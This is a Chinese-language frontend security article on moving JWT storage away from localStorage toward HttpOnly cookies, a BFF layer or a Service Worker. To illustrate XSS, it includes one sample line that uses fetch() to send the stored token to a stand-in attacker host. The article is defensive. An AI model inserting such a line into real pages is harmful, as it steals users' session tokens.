前端鑑權新时代:告別 localStorage,擁抱更安全的 JWT 存儲方案
如果你是一名前端開發者,下面這行代碼可能早已成為你的肌肉記憶:
localStorage.setItem('token', jwtToken);
簡單、直接、有效。多年來,將 JWT 存儲在 localStorage 中似乎是前後端分離架構下的"標準答案"。但隨著網路安全威脅的持續演進,這個曾經的"最佳實踐"如今已成為巨大的安全隱患。
2025 年即將到來,前端生態日新月異。如果我們仍在沿用舊的鑑權模式,無異於將精心構建的應用暴露在風險之中。是時候更新我們的知識庫,擁抱更安全的鑑權新思路了。
localStorage 的安全隱患:為何它不再適用?
localStorage 的核心問題在於其對 XSS 攻擊的脆弱性。
XSS 攻擊原理
XSS 攻擊是指攻擊者在我們的網站上注入並執行惡意 JavaScript 腳本。注入途徑多樣,可能是用戶渲染的惡意評論,也可能是包含惡意代碼的 URL 參數。
XSS 如何竊取 localStorage 中的 Token
一旦惡意腳本在頁面上成功執行,它就擁有了與我們前端代碼幾乎相同的權限。攻擊者只需一行簡單代碼,就能將存儲的 JWT 發送到自己的伺服器:
// 惡意腳本示例
fetch('https://attacker-server.com/steal?token=' + localStorage.getItem('token'));
Token 一旦被盜,攻擊者就能冒充用戶身份,訪問所有依賴該 Token 的後端介面,造成毀滅性後果。
結論:localStorage 本質上是對 JavaScript 完全開放的沙盒。任何能在我們頁面上執行的腳本都能讀寫其中所有數據。將敏感的用戶身份憑證存放在此,就像把家門鑰匙掛在門外的釘子上——方便了自己,也方便了小偷。
傳統解決方案:HttpOnly Cookie 的利與弊
為解決 XSS 盜取 Token 的問題,社群提出了經典方案:使用 HttpOnly Cookie。
當伺服器設定 Cookie 時添加 HttpOnly 標誌,該 Cookie 將無法通過客戶端 JavaScript 存取,瀏覽器只會在發送 HTTP 請求時自動攜帶它。
優勢
- 有效防禦 XSS 盜取:JavaScript 無法讀取,XSS 攻擊者無法直接竊取 Token
- 瀏覽器自動管理:無需前端代碼手動在每個請求頭中添加 Authorization
挑戰:CSRF 攻擊
HttpOnly Cookie 帶來了新的安全挑戰——CSRF 攻擊。
CSRF 攻擊指攻擊者誘導已登入用戶從惡意網站發起非本意的請求。例如,用戶登入了 bank.com 後訪問 evil.com,該網站上的自動提交表單會向 bank.com 的轉帳介面發起請求,瀏覽器自動攜帶 Cookie 完成轉帳。
解決方案
- SameSite 屬性:將 Cookie 的 SameSite 屬性設置為 Strict 或 Lax,有效阻止跨站請求攜帶 Cookie
- CSRF Token:伺服器生成隨機 CSRF Token,前端在狀態變更請求中攜帶,伺服器進行驗證
HttpOnly Cookie 方案雖然可行,但要求後端進行精細的 Cookie 配置和 CSRF 防禦,對於現代前後端分離、特別是跨域調用場景,配置複雜度較高。
2025 年前端鑑權新思路
有沒有既能有效防範 XSS,又能優雅適應現代前端架構的方案?以下是兩種值得在 2025 年及以後重點關注的鑑權模式。
方案一:BFF + Cookie 模式
BFF 模式在前端應用和後端微服務之間增加"服務於前端的後端"層,專門負責鑑權、API 聚合和數據轉換。
鑑權流程
- 登入:前端將使用者名稱密碼發送給 BFF
- 認證與換取:BFF 將憑證發送給認證服務,獲取 JWT
- 設定安全 Cookie:BFF 創建會話,將 Session ID 存儲在安全的 HttpOnly、SameSite=Strict Cookie 中返回給瀏覽器
- API 請求:前端向 BFF 發起所有 API 請求,瀏覽器自動攜帶 Session Cookie
- 代理與鑑權:BFF 通過 Session Cookie 找到對應會話和 JWT,將 JWT 添加到請求頭中轉發給後端微服務
優勢
- 極致安全:JWT 完全不暴露給前端,XSS 攻擊者無從竊取
- 前端無感:前端開發者無需關心 Token 的存儲、刷新和攜帶
- 架構清晰:BFF 層處理所有安全和服務通信複雜邏輯,前端專注 UI
缺點
方案二:Service Worker + 內存存儲
這是更"激進"的純前端方案,利用 Service Worker 的強大能力。
鑑權流程
- 登入:主線程登入成功後,通過 postMessage 將 JWT 發送給啟用的 Service Worker
- 內存存儲:Service Worker 將 Token 存儲在自身作用域內的變數中(內存中),不使用 localStorage 或 IndexedDB
- 攔截請求:前端應用發起 API 請求,但不添加 Authorization 頭
- 注入 Token:Service Worker 監聽 fetch 事件,攔截所有出站 API 請求,克隆原始請求並將內存中的 Token 添加到新請求的 Authorization 頭中
- 發送請求:Service Worker 將帶有 Token 的新請求發送到網路
優勢
- 有效隔離:Token 存儲在 Service Worker 的獨立運行環境中,與主線程的 window 對象隔離,常規 XSS 腳本無法訪問
- 邏輯集中:Token 刷新邏輯可封裝在 Service Worker 中,對應用代碼完全透明
- 無需額外服務:相比 BFF,這是純前端解決方案
缺點
- 實現複雜,Service Worker 的生命週期和通信機制比 localStorage 複雜得多
- 需考慮瀏覽器相容性及 Service Worker 被意外終止或更新的場景
方案對比
| 方案 |
防禦 XSS 竊取 |
防禦 CSRF |
前端複雜度 |
後端/架構複雜度 |
推薦場景 |
| localStorage |
❌ 極差 |
✅ 天然免疫 |
⭐ 極低 |
⭐ 極低 |
不推薦用於生產環境的敏感數據 |
| HttpOnly Cookie |
✅ 優秀 |
⚠️ 需手動防禦 |
⭐⭐ 較低 |
⭐⭐⭐ 中等 |
傳統 Web 應用,或有能力處理 CSRF 的團隊 |
| BFF + Cookie |
✅✅ 頂級 |
✅✅ 頂級 |
⭐ 極低 |
⭐⭐⭐⭐ 較高 |
中大型應用,微服務架構,追求極致安全與清晰分層 |
| Service Worker |
✅ 優秀 |
✅ 天然免疫 |
⭐⭐⭐⭐ 較高 |
⭐ 極低 |
PWA,追求純前端解決方案,願意接受更高複雜度的創新項目 |
總結與建議
將 JWT 存儲在 localStorage 的時代正在過去。這不是危言聳聽,而是對日益嚴峻的網路安全形勢的積極回應。
- 對於新項目或有重構計劃的項目,強烈建議採用 BFF + Cookie 模式。雖然增加了架構成本,但換來的是頂級的安全性和清晰的職責劃分,從長遠看是值得的投資。
- 對於追求極致前端技術或構建 PWA 的團隊,Service Worker 方案提供了充滿想像力的選擇,能夠將安全邊界控制在前端內部。
- 如果應用規模較小且暫時無法引入 BFF,HttpOnly Cookie 配合嚴格的 SameSite 策略和 CSRF Token,依然是比 localStorage 安全得多的可靠選擇。
安全不是可選項,而是必選項。在 2025 年即將到來之際,讓我們共同構建更安全、更健壯的前端應用。
原文出處:https://juejin.cn/post/7562737239434051622